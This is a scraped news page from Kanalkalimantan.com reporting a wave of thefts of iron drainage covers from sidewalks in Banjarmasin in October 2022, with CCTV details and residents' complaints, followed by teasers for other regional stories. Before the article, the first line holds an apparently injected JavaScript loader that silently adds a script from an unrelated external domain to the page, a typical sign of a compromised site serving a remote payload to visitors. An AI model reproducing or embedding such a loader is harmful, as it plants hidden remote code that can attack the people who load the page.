(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dalam beberapa hari ini marak terjadi aksi pencurian tutup drainase yang berbahan besi tepatnya di Jalan Dharma Praja dan Jalan Pangeran Antasari Kota Banjarmasin.
Tak tanggung-tanggung saat Kanalkalimantan.com cek ke lokasi di Jalan Dharma Praja tepatnya depan SMAN 7 Banjarmasin pada Sabtu (29/10/2022), hampir sepanjang trotoar di jalan tersebut sebanyak 9 buah tutup besi drainase telah raib.
Diduga tutup drainase tersebut sudah hilang beberapa hari yang lalu, hal tersebut berdasarkan unggahan salah satu masyarakat pada Jumat (28/10/2022) yang melaporkan kondisi hilangnya sejumlah tutup saluran air di Jalan Dharma Praja tersebut.
“Melaporkan untuk tutup drainase, besinya itu hilang tepatnya diseberang mesjid ar Rafah. Tutupnya hampir sepanjangan hilang,” ujar perempuan pengunggah video pada Jumat (28/10/2022).
Baca juga : Dua Atlet Gulat Balangan Kejar Prestasi Mendali Emas untuk Maju ke Kejurnas
“Sembilan yang hilang tutup drainase di depan SMAN 7 Banjarmasin yang tutupnya ada bacaan Dinas PUPR Kota Banjarmasin,” tambahnya.
Begitu juga di Jalan Pangeran Antasari tepatnya tidak kurang 4 buah tutup besi drainase juga raib digondol maling. Bahkan aksi pencurian tutup drainase tersebut sempat terekam CCTV milik warga.
Pada video hasil rekaman CCTV milik salah satu warga tersebut, aksi pencurian tutup drainase tersebut terjadi pada tanggal 29-10-2022 pukul 03:03 Wita.
Terlihat dalam rekaman CCTV dua orang pria yang mengendarai motor Honda Scoopy melakukan aksinya dengan menggunakan helm. Salah satu pria bertugas mengambil tutup drainase tersebut, sedang pria satunya terlihat sambil mengawasi sekitar di motor.
Baca juga : Rangka Utama JPO Batal Dikerjakan Malam Ini, Jadwal Lifting Bergeser ke Minggu Malam
Dengan adanya aksi pencurian tersebut membuat trotoar di sana menjadi membahayakan untuk dilewati karena berlubang, sejumlah masyarakat juga mengeluhkan dengan maraknya aksi-aksi pencurian tersebut.
“Mencuri sarana dan prasarana umum yang membahayakan umum sama sekali tidak punya ras simpati dan empati, kalau-kalau ada yang terperosok dan membahayakan anak-anak kecil,” ujar Magdalena.
Begitu juga yang disampaikan Yusuf, salah satu pengguna jalan, dirinya meminta kepada pihak terkait untuk mengusut aksi pencurian tersebut dan melakukan tindakan tegas, karena kondisi tersebut sangat membahayakan pejalan kaki.
“Mohon pihak berwenang untuk menangkap pelaku dan dihukum supaya ada efek jera, karena ini membahayakan pengguna jalan,” ungkapnya.
Sampai saat ini belum ada keterangan resmi dari pihak terkait baik dari PUPR Kota Banjarmasin ataupun dari pihak Kepolisian setempat atas maraknya pencurian tutup drainase tersebut. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.